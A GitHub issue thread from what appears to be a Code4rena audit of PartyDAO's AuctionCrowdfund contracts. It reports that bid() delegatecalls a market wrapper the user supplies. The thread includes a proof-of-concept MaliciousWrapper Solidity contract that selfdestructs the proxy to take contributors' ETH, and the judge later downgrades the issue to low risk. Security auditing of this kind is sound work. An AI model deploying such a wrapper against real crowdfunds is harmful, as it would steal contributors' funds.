code423n4 commented 1 year ago

Lines of code

https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/AuctionCrowdfund.sol#L178-L181 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/globals/LibGlobals.sol#L5

Vulnerability details

Description

Users can set up AuctionCrowdfunds using createAuctionCrowdfund(). They are free to pass any market wrapper, which is checked in the initialize function:

if (!market.auctionIdMatchesToken(
            opts.auctionId,
            address(opts.nftContract),
            opts.nftTokenId))
        {
            revert InvalidAuctionIdError();
        }

After other users contribute() to the Crowdfund, anyone can call the bid() function. It wraps the MarketWrapper's bid() call:

(bool s, bytes memory r) = address(market).delegatecall(abi.encodeCall(
            IMarketWrapper.bid,
            (auctionId_, bidAmount)
        ));

Unfortunately, this pattern is vulnerable because a delegatecall to user supplied contract leads to undefined behavior. In this case, user can craft an attack contract passed as market wrapper. After publishing the auction and receiving contributions, he can call bid() to redirect execution to his contract. The contract can simply selfdestruct() to kill the Proxy and send the money to the attacker's wallet.

Impact

Any contributions made to a Crowdfund with a not-whitelisted market wrapper can be stolen by the fund creator.

Proof of Concept

Attacker deploys the following contract:

contract MaliciousWrapper{

address private owner;

constructor() payable {
    owner = msg.sender;
}

function bid(uint256, uint96) external {
    if(msg.sender == owner) {
        selfdestruct(payable(owner));
    }
    revert();
}

function auctionIdMatchesToken(uint256, address, uint256) external view returns (bool) {
    return true;
}

function isFinalized(uint256) external view returns (bool) {
    return false;
}

function getCurrentHighestBidder(uint256) external view returns (address) {
        return address(0x0);
}

function getMinimumBid(uint256) external view returns (uint256) {
    return 0;
} 
}

Attacker calls createAuctionCrowdfund() to start an auction on a popular NFT and passes the deployed contract as AuctionCrowdfundOptions.market.
Attacker waits for victims to contribute() to the crowdfund.
When attacker wishes to steal the money, it calls AuctionCrowdfund's bid() which will kill the proxy and transfer the ETH to his wallet.

Tools Used

Manual audit

Recommended Mitigation Steps

If PartyDAO intends to use delegatecall design choice, it must manage a whitelist of approved MarketWrapper contracts ( right now there are 4). These should be stored in the Globals contract and checked during Crowdfund initialize().

merklejerk commented 1 year ago

Only curated market wrappers will be suggested by the FE. We won't surface CFs created outside our platform.

Disagreeing with severity since it requires a broken setup.

HardlyDifficult commented 1 year ago

Many protocols face a tension like this - it's flexible & extendable but that could be abused. Many abuses could be mitigated by limiting flexibility or sacrificing efficiency - e.g. adding an allow list. I think this is a design decision and agree with the sponsor that when a system is very flexible like this, it's on the frontend to hide risky options or communicate risks.

Since the malicious action is introduced before any funds are committed, and none of the wrappers included in the repo are vulnerable, this is a Low risk issue. Users can and should probe the wrapper and market it points to - this is a similar vain to a good wrapper sending bids to a malicious market; or they can trust the frontend they interact with to keep them safe.

Converting this into a QA report for the warden.